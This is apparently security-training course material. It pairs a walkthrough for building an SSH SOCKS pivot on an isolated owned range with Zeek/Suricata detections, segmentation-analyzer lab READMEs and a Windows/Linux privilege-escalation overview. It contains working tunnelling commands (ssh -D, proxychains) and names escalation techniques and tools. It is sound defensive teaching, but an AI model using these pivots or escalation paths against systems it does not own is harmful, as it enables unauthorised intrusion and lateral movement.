(Phase 00 owns the authorization boundary; Phase 05 goes deep on SMB/NTLM/Kerberos; Phase 08 returns to the C2 channel and the proxy/DNS/JA3 detections this phase sets up.)
The Hitchhiker's Guide to Pivoting and Detecting It on the Range
The operator's walkthrough for Phase 03. The WARMUP explains the concepts (the network layers, DNS, the transports, recon, scanning, pivoting-as-graph, segmentation, egress filtering, and the telemetry that catches each). This guide shows you how to do it on your own authorized, isolated range: map the topology, establish a pivot through a multi-homed host, stand up a SOCKS proxy, observe the netflow and DNS the pivot generates, then add a **segmentation ACL
- egress allow-list that breaks it**, and write the Zeek/Suricata detection. Then tear it down.
Authorization is the whole job. Everything here happens on the owned range from the README range diagram, under the Phase 00 Rules of Engagement, with stop conditions and a deconfliction contact named before anything runs. If you cannot name the owner, scope, stop conditions, and deconfliction contact for a step, you do not run it. Nothing here is a live target, a payload, or a weapon — and the labs themselves reason over synthetic metadata only. You build a pivot here to watch its telemetry, never to reach anything you do not own.
0. The loop you are about to run
map topology → pick the multi-homed pivot → establish the pivot + SOCKS proxy
│ │
▼ ▼
plan it first (Lab 01: path + choke point) ──────► OBSERVE netflow + DNS the pivot makes
│ │
▼ ▼
add segmentation ACL + egress allow-list (Lab 02) → PROVE the path is broken (re-probe)
│ │
▼ ▼
write Zeek/Suricata detection → evidence packet → TEARDOWN (revert snapshots)
This is one pass of network-attack-and-defense over the same graph: plan the pivot, build it safely on owned hosts, watch what it emits, segment the choke point so it breaks, and leave behind the detection that would have caught it.
1. Stand up the authorized range
Use the isolated range from the README. The minimum for this phase is three small segments and a multi-homed pivot host that bridges two of them:
| Range zone | Hosts | Role in this phase |
|---|---|---|
| operator | a Linux box you own | your attack box; runs the SOCKS client / proxychains |
| edge / DMZ | one multi-homed Linux host (two NICs) | the pivot — reachable from operator, also on the internal segment |
| internal | one or two hosts (a "file server", a "db") | the segment only the pivot can reach |
| detection | a sensor box: Zeek + Suricata + a netflow collector (e.g. nfdump/fprobe) | collects telemetry on the span port; where you write detections |
[operator]───(edge segment)───[ PIVOT (multi-homed) ]───(internal segment)───[fileserver] [db]
│ │ │
└──────────────── span/mirror to [detection: Zeek + Suricata + netflow] ──────┘
Hard preconditions (Phase 00):
- The range is isolated — no bridge to home, corporate, or public networks. The "internet" zone is a fake/owned sink, never the real internet.
- Snapshot every host before the run; you will revert after.
- No real credentials, customer data, or personal data in any host, capture, or screenshot.
- The deconfliction contact and stop conditions are written into the run sheet before step 2.
- The only reachability you exercise is between owned range hosts.
Verify the sensor is collecting before you attack. Generate a benign marker and confirm it lands:
operator → make one ordinary connection to the pivot (e.g. a single SSH/HTTP request)
detection → confirm Zeek conn.log has that connection and the netflow collector recorded the flow
If the marker does not appear, fix collection first. A blind sensor produces a false "no detection."
2. Map the topology (and plan it with Lab 01 first)
Plan before you touch anything. Express the range as a Lab-01 graph and compute, on paper / in the
planner, the reachable set from the operator box, the cheapest path to the db, and the choke point.
For this range the choke point is obvious — the multi-homed pivot is the only edge into the internal
segment — and that is exactly the point: the planner predicts what you are about to demonstrate.
# Lab-01 model of the range (synthetic — this is planning, not scanning):
g = Graph.of([
Edge("operator", "pivot", cost=1, via="ssh-foothold"),
Edge("pivot", "fileserver", cost=2, via="socks-proxy"),
Edge("pivot", "db", cost=2, via="socks-proxy"),
])
reachable(g, "operator") # {operator, pivot, fileserver, db}
shortest_path(g, "operator", "db") # (('operator','pivot','db'), 3)
choke_points(g, "operator", "db") # ('pivot',) ← the host you will segment in step 5
Then confirm reachability on the range — within scope. From the operator box, an authorized reachability check (a narrow port probe to the owned pivot only) confirms the operator → pivot edge. You do not scan beyond scope; the internal segment is confirmed through the pivot in the next step, which is the whole demonstration.
Expected observation: the reachability check itself shows up in netflow as a small fan-out from the operator box. Note it — this is the scan-detection signal from WARMUP Chapter 5, in miniature.
3. Establish the pivot and a SOCKS proxy
On the owned pivot host, with a foothold you legitimately have (your own SSH key on your own box), stand up a dynamic SOCKS proxy so the operator box inherits the pivot's edges. The canonical, no-extra-tooling way is SSH dynamic forwarding from the operator box:
# On the operator box — dynamic (SOCKS) forward THROUGH the owned pivot:
ssh -D 1080 -N youruser@pivot # 1080 is now a local SOCKS proxy routed via the pivot
# Now route a tool through it (authorized internal targets only):
proxychains4 curl http://fileserver/ # the connection originates from the PIVOT, not the operator box
What just happened, in graph terms: the operator box now has the pivot's outgoing edges
(pivot → fileserver, pivot → db) — exactly the Lab-01 model. (chisel or ligolo-ng would build
the same reachability over an HTTP/TUN channel when SSH is not available; the reachability is
identical, which is why Lab 01 models the edge, not the tool.)
Stay in scope. Only ever proxy to owned internal hosts. The pivot's purpose here is to generate telemetry you can study, not to reach anything new.
4. Observe the telemetry the pivot generates
This is the heart of the exercise: a pivot is loud if you know the shape. Drive a little traffic
through the SOCKS proxy (a few requests to the owned fileserver and db) and then go read what the
sensor recorded.
In netflow / Zeek conn.log, expect:
- The pivot becomes a connection hub — it now initiates connections to multiple internal peers it did not talk to before. East-west fan-out from one host. (WARMUP Ch. 6/7.)
- A long-lived connection from the operator box to the pivot — the tunnel itself — unlike normal short request/response flows.
- Multiplexing — many logical streams over the one tunnel; the byte/timing profile of that single connection looks unlike a normal application.
# conn.log (sketch): note the long duration on the tunnel and the new pivot→internal flows
ts orig_h resp_h proto duration bytes note
... operator pivot tcp 1380.4 big ← the persistent SOCKS tunnel (long-lived)
... pivot fileserver tcp 0.9 small ← NEW east-west flow (pivot is now a hub)
... pivot db tcp 1.2 small ← NEW east-west flow
If you also exercise DNS through the pivot (resolve names via the pivot's resolver), watch
dns.log: even a small amount of name resolution through a new path is visible, and if you (on the
range, for teaching) encode data into query names, the entropy and unique-subdomain count spike —
the DNS-tunnel signal from WARMUP Chapter 2.
Expected observations to record in the evidence packet: the long-lived tunnel flow, the new east-west fan-out from the pivot, and (if exercised) the DNS query-rate/entropy. These are the detections you are about to make fire.
5. Break it: segmentation ACL + egress allow-list
Now play defender. The choke point from step 2 is the pivot; the control is to segment so the operator/edge segment cannot use the pivot as a gateway, and to deny-by-default egress so a beacon has nowhere to go. Model the policy in Lab 02 first, then enforce it on the range.
Lab-02 model of the fix:
# The lateral path the pivot enabled, as flows:
path = [Flow("operator", "pivot", 22), Flow("pivot", "db", 5432)]
# Before: a loose ruleset permits the whole path (the attacker walks it):
loose = [Rule("any", "any", "any")]
blocks_path(path, loose) # False ← nothing is stopped
# After: deny-by-default + only the designed flows; the pivot→db hop is no longer allowed:
tight = [
Rule("operator", "pivot", 22), # operator may admin the pivot on ssh
Rule("dmz", "internet", 443), # the pivot's only egress: https via the proxy
# (no pivot→internal allow; no broad egress)
]
blocks_path(path, tight) # True ← the second hop (pivot→db) is denied
first_blocked_hop(path, tight) # 1 ← exactly where the segmentation bites
over_permissive(loose) # flags the any-any rule
egress_findings([Rule("dmz","internet","any")]) # recommends pinning egress to 443/80/53 via proxy
Enforce it on the range. Apply the equivalent ACL on the segment firewall / the pivot's host
firewall: deny the pivot → internal segment, and deny-by-default egress except tcp/443,tcp/80,
udp/53 to the (owned, logged) proxy/resolver. Then re-probe to prove effective state, not intended
config:
operator → re-run `proxychains4 curl http://db/` through the pivot
expected → the pivot→db hop is now denied; the request fails; the denied flow is logged
operator → confirm the DESIGNED flow still works (regression: operator→pivot:22 still succeeds)
If the path still works, your rule is shadowed (an earlier any-any allow) — fix the ordering and
re-probe. Intended config is not effective config (WARMUP Ch. 8).
6. Write the detection (Zeek / Suricata)
The control breaks this pivot; the detection catches the next one. Write detections on the shape you observed in step 4, not on a throwaway indicator.
Zeek (behavioral — the pivot's fan-out and the long-lived tunnel):
# notice on a host that becomes an east-west connection hub (pivot fan-out):
# count distinct internal resp_h per orig_h per window; alert above a baseline threshold.
# notice on an unusually long-lived connection to/from an edge host (the tunnel itself):
# alert on conn.log duration >> the host's normal connection duration.
# (Zeek's scan-detection + a small connection-fan-out script cover both.)
Suricata (signatures — odd-port egress / known tooling):
alert tcp $HOME_NET any -> $EXTERNAL_NET ![80,443,53] (msg:"Possible C2: egress on non-standard port";
flow:to_server,established; threshold:type both, track by_src, count 5, seconds 60; sid:1000001;)
DNS (entropy/volume — if you exercised the DNS path): alert on per-host query rate to one zone,
high mean label entropy, and high unique-subdomain count from dns.log (WARMUP Ch. 2/10).
Prove the detection fires. Re-run the pivot (before re-applying the block, or on a fresh snapshot) and confirm the Zeek notice / Suricata alert / DNS-entropy threshold triggers on the recorded telemetry. A detection you have not seen fire is a hypothesis, not a detection.
7. Evidence packet and teardown
Evidence packet (sanitized, owned-range only):
- The Lab-01 pivot map: reachable set, cheapest path, choke point.
- The step-4 telemetry: the
conn.loglines (long-lived tunnel + east-west fan-out) and anydns.logentropy figures — observation separated from inference. - The Lab-02 policy: the over-permissive findings, the tightened ruleset, and the
blocks_path/ re-probe proof that the path is closed and the designed flow still works. - The Zeek/Suricata detection and a screenshot/log of it firing.
- Hash every artifact at collection; record source, time, collector, timezone, and any transformation.
Teardown:
- Revert every host to its pre-run snapshot.
- Tear down the SOCKS tunnel and remove the temporary host-firewall rules (or keep the good ones as the durable control — that is the point of leaving a detection behind).
- Confirm no range host can reach anything outside the isolated range.
- Record teardown completion in the run sheet.
8. Common false claims (and the truthful version)
| False claim | The truth |
|---|---|
| "The pivot was invisible — it was inside SSH/HTTPS." | The content was encrypted; the shape (long-lived tunnel, east-west fan-out, multiplexing) is exactly what netflow/Zeek caught. |
| "A SYN scan is undetectable." | It dodges application logs, not netflow; the fan-out is the signature. |
| "DNS tunneling is stealthy." | It is one of the most detectable channels — the encoded names have obvious entropy and unique-subdomain counts. |
| "We have VLANs, so we're segmented." | VLANs without inter-VLAN ACLs leave the graph connected; you must verify the hop is actually denied. |
| "We blocked the C2 IP, so we're safe." | Blocking an IP costs the adversary minutes; only detecting the TTP (beacon shape, tunnel entropy, pivot fan-out) costs them a redesign. |
| "The rule exists, so the path is blocked." | Intended config is not effective config — re-probe to prove the hop fails and the designed flow still works. |
| "The detection should work." | A detection you have not watched fire is a hypothesis; re-run the pivot and confirm the alert triggers on the real telemetry. |
This guide stays on the owned range and pairs every offensive step with its detection. The runnable labs (Lab 01, Lab 02) reason over synthetic metadata only — they plan and analyze the pivot and the segmentation; they never scan, tunnel through, or touch a host you do not own.
Lab 01 — Pivot / Attack-Path Planner
Lens: Lateral movement and pivoting as reachability over a graph. WARMUP: Chapter 7 (pivoting & tunneling), Chapter 8 (segmentation). ATT&CK: Lateral Movement (TA0008) — Remote Services (T1021), Internal Proxy (T1090.001); Discovery — Remote System Discovery (T1018), Network Service Discovery (T1046).
The problem
One foothold is rarely the objective. After landing behind Meridian's field-office VPN, the operator must answer three questions, and so must the defender:
- Blast radius — from this foothold, what can I touch? (Which hosts are reachable at all.)
- The quietest route — what is the cheapest path to the crown jewel? Not the fewest hops, but the path with the least detection-risk + effort. A noisy SMB-admin hop over a monitored segment "costs" more than a quiet allow-listed SSH tunnel.
- The choke point — which single host, if cut, disconnects the foothold from the target? This is the defender's highest-leverage segmentation control.
A pivot — a SOCKS proxy through a multi-homed jump host, a port-forward, a chisel/ligolo tunnel — is nothing more than adding an edge to this reachability graph. Pivoting is graph traversal; the attacker runs a search to find the path, and the defender runs the same search to find the cut. That equivalence is the whole lab.
What you build (lab.py)
Hosts are nodes; a directed edge A -> B (an Edge(src, dst, cost, via)) means an attacker on A
can reach B because they are network-adjacent and the attacker holds the credential/route
(via) that enables the hop. cost models detection-risk + effort.
reachable(graph, start, exclude=None)— BFS the blast radius from a foothold (optionally treating one host as removed — the defender's "what if I cut this?" probe).reaches/reachable_targets— which crown jewels the foothold reaches.shortest_path(graph, start, target, exclude=None)— Dijkstra over per-edgecost; returns(path, total_cost)— the cheapest (quietest) pivot route, deterministically.choke_points(graph, start, target)— the hosts whose removal disconnectsstartfromtarget(articulation points / dominators via node-removal min-cut) — the segmentation cuts that matter.
Attack cases the tests cover
- From the VPN foothold, the operator reaches the jump host, file server, app server, ERP database, and the domain controller — but not a disconnected island segment.
shortest_pathpicks the cheapest, not the shortest-hop route to the ERP database (via the file server, cost 5) over the noisier app-server route (cost 9), even though both are three hops.- The only route to the DC runs through the app server, so
choke_points(..., "dc")returns bothjumphostandappserver; the ERP database has a second path, soappserveris not a choke for it — onlyjumphostis. - Removing the jump host isolates the foothold entirely (
reachable == {vpn}). - Unreachable target →
Nonepath / no choke points; output is fully deterministic.
Run
pip install -r requirements.txt
cd <this dir>
LAB_MODULE=solution pytest -q # reference passes (17 tests)
pytest -q # your implementation after the TODOs
# fallback interpreter:
# LAB_MODULE=solution /Users/s0x/src/10xdev/ai-enigneer/.venv/bin/python -m pytest -q
Hardening / detection
The choke point is the detection-and-control deliverable. Each one maps to a concrete defense:
- Segment the choke host (the jump host) into its own zone with deny-by-default ACLs — Lab 02 turns that into the firewall rule and proves the path breaks.
- Kill the enabling
via: areused-local-adminedge argues for LAPS (unique local-admin passwords); astored-db-crededge argues for a secrets vault and short-lived credentials. - Instrument the cheapest path: the quiet route is the one most likely to be taken, so put the netflow/Zeek sensor there. A pivot through a jump host shows up as an east-west netflow fan-out and (for a SOCKS proxy) many short connections multiplexed from one source — see WARMUP Ch. 7 & 10.
Extensions
- Add per-target weighting: rank choke points by how many crown jewels each one cuts.
- Compute true dominators (Lengauer–Tarjan) instead of node-removal, for large graphs.
- Model credential nodes explicitly so a shared password becomes a visible single point of failure.
- (Owned range only) Import a real BloodHound or network-graph export and run the same analysis.
- Multi-language build spec: reimplement
reachable+ Dijkstra in Rust (petgraph) or Go as a CLI that reads a JSON graph — a fast, dependency-light pivot planner for the toolkit.
Interview / resume
"Built a pivot / attack-path planner that models lateral movement as reachability over a host graph — computing the blast radius from a foothold (BFS), the quietest route to a target (Dijkstra over a per-edge detection-risk cost), and the choke points a defender cuts (node-removal min-cut) — demonstrating that the attacker's path-finder and the defender's segmentation-planner are one algorithm."
Limitations: directed graph with non-negative integer edge costs; choke points are found by single-node removal (an articulation/dominator approximation, not minimum multi-node cuts); synthetic graph only — no live network is touched.
Lab 02 — Segmentation & Egress-Filtering Analyzer
Lens: A firewall ruleset is a policy over a graph of zones. WARMUP: Chapter 8 (segmentation), Chapter 9 (egress filtering & allow-listing), Chapter 10 (the telemetry that catches what gets through). ATT&CK: Command and Control — Application-Layer Protocol (T1071), Non-Standard Port (T1571), Protocol Tunneling (T1572); Exfiltration Over C2 Channel (T1041).
The problem
Lab 01 found the lateral path. This lab decides whether the segmentation policy stops it — and audits the ruleset for the holes that let a beacon out. Two roles ask the same questions of one ruleset:
- The firewall decides every flow: deny-by-default, first-match-wins.
- The auditor (red or blue) asks: which rules are too broad? Does this policy block that lateral path? What egress allow-list should replace the sloppy internet rules?
The dangerous rules are predictable: an any-any allow, and broad egress to the internet on a
non-standard port — the classic command-and-control / exfiltration channel. An egress allow-list
that pins outbound traffic to the standard ports through a proxy is the control that closes it.
What you build (lab.py)
A Rule(src_zone, dst_zone, port, proto, action) is one firewall line (port is an int or "any").
A Flow(src_zone, dst_zone, port, proto) is a packet's worth of metadata.
flow_permitted(flow, rules)— deny-by-default, first-match-wins evaluation.over_permissive(rules)— flagany-anyallows,broad-egress(internet on a non-standard/wildcard port — possible C2), andwildcard-portallows; returns{index, rule, reason}findings.blocks_path(path, rules)— does the ruleset block a lateral path? A path is blocked iff any one hop is denied — one closed door stops the chain. (first_blocked_hopsays where.)egress_findings(rules)— egress-allow-list recommendations: for each over-permissive internet rule, a tightened replacement and the reason.
Attack cases the tests cover
- Deny-by-default: a flow that matches no rule is denied; an empty ruleset denies everything.
- First-match-wins: an explicit
vpn->server:1521 denybeats a later allow. - Audit:
any-anyis flagged;user->internet:4444anddmz->internet:anyare flagged asbroad-egress; legitimateserver->internet:443and specificuser->server:445are not. - Path composition: the segmented policy permits the designed
vpn->dmz->serverpath (Lab 01's pivot) but blocks the directvpn->server:1521shortcut; removing thedmz->serverallow breaks the designed path at hop index 1. - Clean rulesets produce no findings; all output is deterministic.
Run
pip install -r requirements.txt
cd <this dir>
LAB_MODULE=solution pytest -q # reference passes (20 tests)
pytest -q # your implementation after the TODOs
# fallback interpreter:
# LAB_MODULE=solution /Users/s0x/src/10xdev/ai-enigneer/.venv/bin/python -m pytest -q
Hardening / detection
This lab is the hardening tool — it turns an attack path into the segmentation and egress controls that close it, and the audit findings into a remediation list:
- Segment: feed Lab 01's choke point in as a deny rule;
blocks_pathproves the lateral path now breaks (and regression-tests that the designed traffic still flows). - Egress allow-list:
egress_findingsrecommends pinning outbound traffic totcp/443,tcp/80, udp/53through the proxy and denying/logging the rest — which is exactly where a beacon ontcp/4444or DNS-tunneled C2 gets caught (WARMUP Ch. 9–10). - The detection pairing: every
broad-egressfinding is a Zeek/Suricata + proxy-log alert — long connections to a rare destination on an odd port, or high-entropy DNS — see WARMUP Ch. 10 and the HITCHHIKER'S GUIDE.
Extensions
- Add CIDR/IP matching with
ipaddressinstead of opaque zone labels. - Score each finding by blast radius (how many lateral paths the over-permissive rule enables).
- Emit findings as Sigma-style detection logic for the proxy/Zeek log.
- Parse a real (sanitized, owned) firewall export — iptables/nftables, AWS security groups, or a
pfSense rule dump — into
Ruletuples. - Multi-language build spec: reimplement
flow_permittedas a Go or Rust library that ingests an nftables ruleset and answers reachability queries for a CI segmentation test.
Interview / resume
"Built a segmentation & egress analyzer that evaluates flows against a firewall ruleset
(deny-by-default, first-match-wins), flags over-permissive rules — any-any and broad internet
egress on non-standard ports as likely C2 channels — proves whether a segmentation policy blocks a
given lateral path, and emits egress-allow-list recommendations, pairing each finding with its
proxy/Zeek detection."
Limitations: zone/port model (no full CIDR/IP matching — ports are ints or the literal "any",
zones are opaque labels); first-match-wins with an implicit final deny; C2-egress heuristics use a
fixed standard-port allow-list and internet-zone label set; synthetic rules and flows only — no live
firewall is touched.
Phase 04 — OS Internals & Privilege Escalation (Windows + Linux)
Operation Cedar Lattice, Phase 04. Phase 03 took you from external recon, through a foothold VPN,
into Meridian Freight International's internal network and produced a pivot map. You now have your
first footholds — one Windows host, one Linux host — but only as a low-privileged principal: a
service account, an IIS app-pool identity, or a standard user. Domain admin, the cloud, and the data
store are all downstream of one thing: turning a user into NT AUTHORITY\SYSTEM on Windows and
root (uid 0) on Linux. That is local privilege escalation, and it is what this phase builds.
The deliverable a real engagement produces here is not "we got SYSTEM." It is, for each foothold, a path-to-privilege analysis: the misconfiguration, the ATT&CK technique, the concrete escalation path, the telemetry it emits, and the detection that catches it — the artifact the purple team replays and Meridian keeps.
Safety. Authorized-lab only. Both labs are analyzers / auditors over synthetic host facts (enumerated services, ACLs, token privileges, SUID files, capabilities, sudo rules). There is no live exploitation, no service write, no token theft, no GTFOBins one-liner — they classify enumeration output the way WinPEAS/Seatbelt/LinPEAS/pspy do and explain the path and its detection. Same boundary as the security track's
offensive-methodology-mastery/labs.
Why this phase exists
A foothold is not an outcome — it is a starting position. Most of the interesting damage (credential theft, persistence that survives, lateral movement with SYSTEM/root rights) requires local privilege escalation first. And privesc, on both operating systems, is overwhelmingly not a memory-corruption exploit: it is abuse of a legitimate OS mechanism that a low-privileged principal can influence — a service the SCM launches, a token privilege handed to a service account, a SUID binary with a shell escape, a sudo rule that is too generous.
To find those paths you must understand the OS internals the mechanism rests on: on Windows, the process/thread/token model, SIDs and privileges, integrity levels and UAC, services and their DACLs, the registry; on Linux, uid/gid/euid, SUID/SGID, capabilities, sudo, PATH, cron, namespaces. This is the JD's "OS security across operating systems / Linux" and "privilege escalation." And because every misconfiguration emits telemetry, understanding the mechanism is also how you write the detection — which is what turns this offensive knowledge into a hireable, defensible asset.
Learning Objectives
By the end of this phase you can, without notes:
- Explain the Windows security model end to end: a process has a primary access token carrying the user SID, group SIDs, and a list of privileges; objects carry a security descriptor (owner + DACL of ACEs); a check is token vs. DACL. Explain integrity levels and why UAC is not a security boundary.
- Name the privilege-escalation paths a Windows host exposes and the internal reason each works:
unquoted service paths, weak service binary/DACL permissions,
SeImpersonate/SeAssignPrimaryToken(the potato family),SeDebug/SeBackup/SeRestore, weak registry-autorun ACLs, DLL search-order hijacking, writable scheduled tasks — each with its ATT&CK id and its detection. - Explain the Linux privilege model: real/effective/saved uid/gid, SUID/SGID and the
euid=0it confers, file capabilities as decomposed root, sudo, PATH resolution, and cron execution context; and the namespace/cgroup surface behind container escapes. - Name the privilege-escalation paths a Linux host exposes: dangerous SUID (GTFOBins),
dangerous capabilities (
cap_setuid,cap_dac_override, …), sudo misconfig (NOPASSWD, wildcard,LD_PRELOAD/GTFOBins binary), writable root PATH, writable cron, root-equivalent groups — each with its ATT&CK id and its detection. - For any technique, predict the telemetry it emits — Windows Sysmon (EID 1/7/11/13),
Security log (4688 process create, 4673/4674 sensitive-privilege use, 4624 logon, 4698 task,
7045 service) and Linux auditd
execve— and write a detection that fires. - Run the enumeration → identify path → escalate (on an owned range) → harden → detect loop and produce the per-foothold privesc finding with its remediation.
The two models, side by side
WINDOWS LINUX
identity access TOKEN (user SID + group SIDs uid/gid (real/effective/saved);
+ PRIVILEGES) on every process supplementary groups
authorization object security descriptor: owner + file mode bits (rwx) = DAC;
DACL (ordered ACEs); check = token×DACL + POSIX capabilities; + LSM (SELinux)
"become root" steal/impersonate a SYSTEM token; get euid 0: SUID shell escape; a cap;
abuse a privilege; hijack a SYSTEM sudo to a shell; hijack a root-run
service/task/autorun binary (PATH/cron/LD_PRELOAD)
NOT a boundary UAC (a convenience prompt) a setuid bit you don't control is
the boundary; nosuid mounts remove it
telemetry Sysmon + Security Event Log + ETW auditd (execve) + eBPF + syslog
Memorize the shape once: identity → what may it touch → how do you become the all-powerful principal → what does the OS log about it. Each platform is a re-labeling of those four questions.
Concepts
| Concept | What it is | Why it matters to the engagement |
|---|---|---|
| Access token | the per-process bundle of SID + group SIDs + privileges Windows checks | the unit you steal/impersonate to become SYSTEM |
| SID & privileges | identity (SID) vs. capability flags (SeImpersonate, SeDebug, …) | a single dangerous privilege on a service account = path to SYSTEM |
| Integrity level / UAC | mandatory Low/Medium/High labels; the elevation prompt | UAC is not a boundary — explain why in an interview |
| Service & service DACL | how a service starts, runs-as, and who may reconfigure it | unquoted path / writable binary / weak DACL = code as LocalSystem |
| Registry autoruns | Run/RunOnce keys executed at logon | a weak HKLM autorun ACL = code in a privileged logon |
| DLL search order | how Windows resolves an unqualified DLL load | a writable dir on the search path = hijack a SYSTEM load |
| uid/gid/euid | Linux real/effective/saved identity | SUID gives euid=0; the root primitive |
| SUID/SGID & GTFOBins | setuid binaries + the catalog of their shell escapes | a single GTFOBins SUID = root |
| Linux capabilities | root decomposed into ~40 flags (cap_setuid, …) | a "non-root" binary with cap_setuid is root |
| sudo misconfig | NOPASSWD, wildcards, env_keep, GTFOBins binaries | the most common Linux privesc in the field |
| PATH / cron hijack | writable dir on root's PATH; writable root-cron script | indirect code execution as root |
| Telemetry & detection pairing | Sysmon/4688/4673/4624, auditd/execve | every finding ships the log that catches it |
Labs
| Lab | Builds | Platform |
|---|---|---|
| Lab 01 — Windows Privilege-Escalation Analyzer | given synthetic Windows host facts (services + binary paths/ACLs/run-as, token privileges, registry autoruns, scheduled tasks, integrity level), find every path to SYSTEM with its ATT&CK id, path-to-SYSTEM, and detection | Windows |
| Lab 02 — Linux Privilege-Escalation Auditor | given synthetic Linux facts (SUID list, capabilities, sudo rules, writable PATH, cron, groups), find every path to root with its ATT&CK id, escalation note, and auditd detection | Linux |
Each lab follows LAB-STANDARD.md: lab.py (TODOs), a complete solution.py,
adversarial test_lab.py, README.md, requirements.txt — pure Python (stdlib + pytest), offline,
deterministic, with the detection pairing built in.
cd lab-01-windows-privesc-analyzer
LAB_MODULE=solution python3 -m pytest -q # reference passes (15 tests)
python3 -m pytest -q # your implementation after the TODOs
cd ../lab-02-linux-privesc-auditor
LAB_MODULE=solution python3 -m pytest -q # reference passes (16 tests)
Deliverables
- A Windows privesc analyzer that ingests a host snapshot and reports each misconfiguration (unquoted service path, writable service binary/DACL, dangerous token privilege, weak autorun ACL, writable scheduled task) with its ATT&CK technique, concrete path to SYSTEM, and Sysmon/Event-Log detection.
- A Linux privesc auditor that ingests an enumeration snapshot and reports each escalation path (dangerous SUID, dangerous capability, sudo NOPASSWD/wildcard/LD_PRELOAD, writable PATH, writable cron, root-equivalent group) with its ATT&CK technique, root note, and auditd detection.
- The two per-foothold privesc findings for Operation Cedar Lattice (the first Windows host and the first Linux host), each with its hardening and detection — the Phase 04 artifact.
- The fluency to explain both OS models and walk a privilege-escalation path and its detection in an interview, and to scope a safe privesc exercise on an owned range (snapshot, stop conditions, teardown).
Readings (primary sources)
- Windows Internals, 7th ed. (Russinovich, Allievi, Ionescu, Solomon) — Parts 1 & 2: processes, threads, access tokens, SIDs, privileges, integrity levels, the object manager and security descriptors, services.
- Microsoft Docs: Access Tokens, Privilege Constants, Mandatory Integrity Control, How UAC Works, Service Security and Access Rights.
- MITRE ATT&CK: T1068 (Exploitation for Privilege Escalation), T1134 (Access Token Manipulation), T1548 (Abuse Elevation Control Mechanism), T1574 (Hijack Execution Flow — unquoted path, service permissions, DLL search order), T1543.003 (Windows Service), T1547.001 (Run keys), T1053 (Scheduled Task/Cron).
- GTFOBins (Unix binaries with shell escapes) and LOLBAS (Windows living-off-the-land binaries).
- The Linux
capabilities(7)man page; thesudoers(5)man page;auditd/auditctldocumentation; the PrintSpoofer/RoguePotato write-ups for theSeImpersonatefamily (concept + detection only).
Common Mistakes
- Treating UAC as a privilege boundary. It is a convenience prompt; an admin-split-token user is one auto-elevating bypass away. Microsoft explicitly says UAC is not a security boundary.
- Confusing a SID with a privilege. A SID is who you are; a privilege (
SeImpersonate) is what you may do. Escalation usually abuses a privilege, not an identity. - Reporting an unquoted service path with no writable intermediate dir. The unquoted path is only exploitable if you can write an interceptor at a higher-precedence prefix. State the precondition.
- Calling a Linux file with
cap_setuid"non-root." A capability is root, scoped.getcap -r /is as important as finding SUID bits. - Trusting
sudo -loutput without reading the runas spec andenv_keep. A wildcard, a pager, or a keptLD_PRELOADturns an innocuous-looking rule into a root shell. - Finding the path but not the detection. A privesc finding without the Sysmon/auditd rule that catches it fails this track's detection-pairing bar — and delivers no lasting value to the client.
- Escalating off a snapshot/owned range. Privilege escalation is destructive and noisy; snapshot first, name stop conditions, and revert after.
Interview Questions
- Walk me through the Windows access-token model. What is the difference between a SID, a group SID, and a privilege, and how does an object's DACL get checked against a token?
- Why is UAC not a security boundary? What does that mean for how you treat a "medium-integrity admin" host?
- Explain the
SeImpersonatePrivilege"potato" family — what is the privilege, why do service accounts have it, what is the escalation, and how would you detect it? - What makes an unquoted service path exploitable, and what is the exact additional precondition?
- On Linux, what is the difference between SUID and a file capability like
cap_setuid? Why does a defender need to enumerate both? - Give me three ways a too-generous sudo rule becomes a root shell, and the auditd rule that catches each.
- You have a foothold as a low-priv user on a Windows host and a Linux host. Describe your enumeration order and what you are looking for on each, and the telemetry each step would emit.
- A SOC asks you to turn your privesc findings into durable detections. Pick two (one per OS) and write the detection logic and what it would false-positive on.
(Full principal-level answers are in WARMUP.md.)
Portfolio artifact
The per-foothold privilege-escalation findings for Operation Cedar Lattice: for the first Windows
host, the analyzer output (the misconfiguration, ATT&CK technique, path to SYSTEM, hardening, and the
Sysmon/Event-Log detection); for the first Linux host, the auditor output (the path to root with its
ATT&CK technique, the auditd rule, and the hardening). Both over synthetic host facts — no live
targets, no exploitation, no weaponization. This is 04-05-windows-ad/ in the
capstone portfolio.
Guides
- WARMUP.md — the from-zero deep dive: the Windows process/thread/token model, SIDs &
privileges, integrity levels & UAC, the potato/
SeImpersonatefamily, unquoted paths, weak service/registry DACLs, DLL hijacking, scheduled tasks; then the Linux uid/gid model, SUID/SGID, capabilities, sudo, PATH/cron, namespaces — each with its telemetry, detection, and misconceptions. - HITCHHIKERS-GUIDE.md — how to run the privesc loop on the owned range: enumerate with WinPEAS/Seatbelt and LinPEAS/pspy, identify a seeded misconfiguration, walk the escalation, then harden it and write the Sysmon/auditd detection, and tear down.
WARMUP — OS Internals & Privilege Escalation (Windows + Linux)
From zero to principal-level. Every concept built from the OS kernel up. Every escalation path paired with its detection. No live exploitation — all examples use synthetic metadata matching the lab fixtures.
Table of Contents
- Chapter 1 — Why Privilege Escalation Is the Engagement's Hinge
- Chapter 2 — The Windows Security Model, from Zero
- Chapter 3 — Windows Escalation Paths: Under the Hood + Detection
- Chapter 4 — The Linux Security Model, from Zero
- Chapter 5 — Linux Escalation Paths: Under the Hood + Detection
- Chapter 6 — Telemetry Architecture: What the OS Logs and Why
- Chapter 7 — Enumeration-to-Finding Methodology
- Chapter 8 — Detection Engineering for Privesc
- Chapter 9 — Significance: Why This Phase Makes or Breaks the Engagement
- Chapter 10 — Misconceptions
- Lab Walkthrough
- Success Criteria
- Common Mistakes and OPSEC
- Interview Q&A
- References
Chapter 1 — Why Privilege Escalation Is the Engagement's Hinge
What it is
Privilege escalation (privesc) is the transition from a low-privileged identity to a high-privileged one without receiving that privilege through the normal, authorized path.
On Windows the goal is NT AUTHORITY\SYSTEM (the local kernel identity) or a domain admin token.
On Linux the goal is uid 0 (root).
Neither goal requires a memory-corruption exploit in modern environments. The overwhelming majority of real-world privesc — the kind an engagement like Operation Cedar Lattice finds — is misconfiguration: a service the OS launches as SYSTEM with a binary a low-privileged user can overwrite; a SUID bit on a binary that hands root to whoever runs it; a sudo rule so generous it includes a pager. The OS's own mechanisms do the work; the attacker just influences which code they run.
Why it is the hinge of the engagement
A foothold as a low-privileged user (www-data, a service account, a domain user) gives you:
- Read access to files that principal can read
- Network connectivity from that host
- Ability to run code as that principal
